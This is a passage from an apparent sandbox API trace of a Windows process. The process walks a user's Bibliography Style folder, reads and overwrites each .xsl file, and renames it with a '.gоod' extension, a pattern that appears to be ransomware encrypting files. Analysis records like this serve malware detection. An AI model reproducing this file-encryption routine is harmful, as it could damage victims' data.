lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2cbf800, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEEE2006OfficeOnline.xsl", cAlternateFileName="IEEE20~1.XSL")) returned 1 [0234.445] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2cbf800, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x42132, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0234.445] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2bb4725, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x351ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="ISO690~1.XSL")) returned 1 [0234.445] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x372dd15, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3e4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLASeventhEditionOfficeOnline.xsl", cAlternateFileName="MLASEV~1.XSL")) returned 1 [0234.445] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b42021, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0234.445] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e40435, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e40435, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b1bddb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0234.446] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0234.446] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0234.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0234.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0234.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0234.446] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpFilePart=0x0) returned 0x3c [0234.447] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0234.447] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.448] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1f7c60e, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x51722, dwReserved0=0x0, dwReserved1=0x0, cFileName="APASixthEditionOfficeOnline.xsl", cAlternateFileName="APASIX~1.XSL")) returned 1 [0234.448] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5b719, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d5b719, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x48839, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0234.448] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d81993, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d81993, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x23a87e3, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x4197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0234.448] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3e966, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0234.448] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3d639, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="GOSTTI~1.XSL")) returned 1 [0234.448] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df40d1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2df40d1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2788516, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x45882, dwReserved0=0x0, dwReserved1=0x0, cFileName="HarvardAnglia2008OfficeOnline.xsl", cAlternateFileName="HARVAR~1.XSL")) returned 1 [0234.449] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2cbf800, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEEE2006OfficeOnline.xsl", cAlternateFileName="IEEE20~1.XSL")) returned 1 [0234.449] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2cbf800, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x42132, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0234.449] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2bb4725, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x351ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="ISO690~1.XSL")) returned 1 [0234.449] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x372dd15, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3e4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLASeventhEditionOfficeOnline.xsl", cAlternateFileName="MLASEV~1.XSL")) returned 1 [0234.449] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b42021, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0234.449] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e40435, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e40435, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b1bddb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0234.450] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e40435, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e40435, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b1bddb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0234.450] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0234.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0234.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0234.451] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5c [0234.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0234.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3c5de90 | out: lpFileInformation=0x3c5de90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1f7c60e, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x51722)) returned 1 [0234.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0234.452] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5c [0234.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0234.452] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0234.452] GetFileType (hFile=0x860) returned 0x1 [0234.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0234.452] GetFileType (hFile=0x860) returned 0x1 [0234.452] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0234.452] ReadFile (in: hFile=0x860, lpBuffer=0x3c5e348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x3c5e348*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0234.638] CloseHandle (hObject=0x860) returned 1 [0234.638] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5c [0234.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0234.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0234.639] GetFileType (hFile=0x860) returned 0x1 [0234.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0234.639] GetFileType (hFile=0x860) returned 0x1 [0234.639] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x51722 [0234.639] WriteFile (in: hFile=0x860, lpBuffer=0x38ea078*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x38ea078*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0234.642] CloseHandle (hObject=0x860) returned 1 [0234.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5c [0234.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0234.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0234.642] GetFileType (hFile=0x860) returned 0x1 [0234.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0234.642] GetFileType (hFile=0x860) returned 0x1 [0234.642] ReadFile (in: hFile=0x860, lpBuffer=0x38ef980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x38ef980*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0234.705] CloseHandle (hObject=0x860) returned 1 [0234.705] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5c [0234.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0234.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0234.706] GetFileType (hFile=0x860) returned 0x1 [0234.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0234.706] GetFileType (hFile=0x860) returned 0x1 [0234.706] WriteFile (in: hFile=0x860, lpBuffer=0x38ee688*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x38ee688*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0234.706] CloseHandle (hObject=0x860) returned 1 [0234.706] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5c [0234.706] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.gоod", lpFilePart=0x0) returned 0x61 [0234.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0234.706] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x881c3274, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x51732)) returned 1 [0234.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0234.706] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl.gоod")) returned 1 [0234.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", lpFilePart=0x0) returned 0x48 [0234.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0234.707] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), fInfoLevelId=0x0, lpFileInformation=0x39e5178 | out: lpFileInformation=0x39e5178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5b719, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d5b719, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x48839)) returned 1 [0234.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0234.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", lpFilePart=0x0) returned 0x48 [0234.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0234.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0234.708] GetFileType (hFile=0x860) returned 0x1 [0234.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0234.708] GetFileType (hFile=0x860) returned 0x1 [0234.708] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0234.708] ReadFile (in: hFile=0x860, lpBuffer=0x39e5590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x39e5590*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0234.747] CloseHandle (hObject=0x860) returned 1 [0234.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", lpFilePart=0x0) returned 0x48 [0234.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0234.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 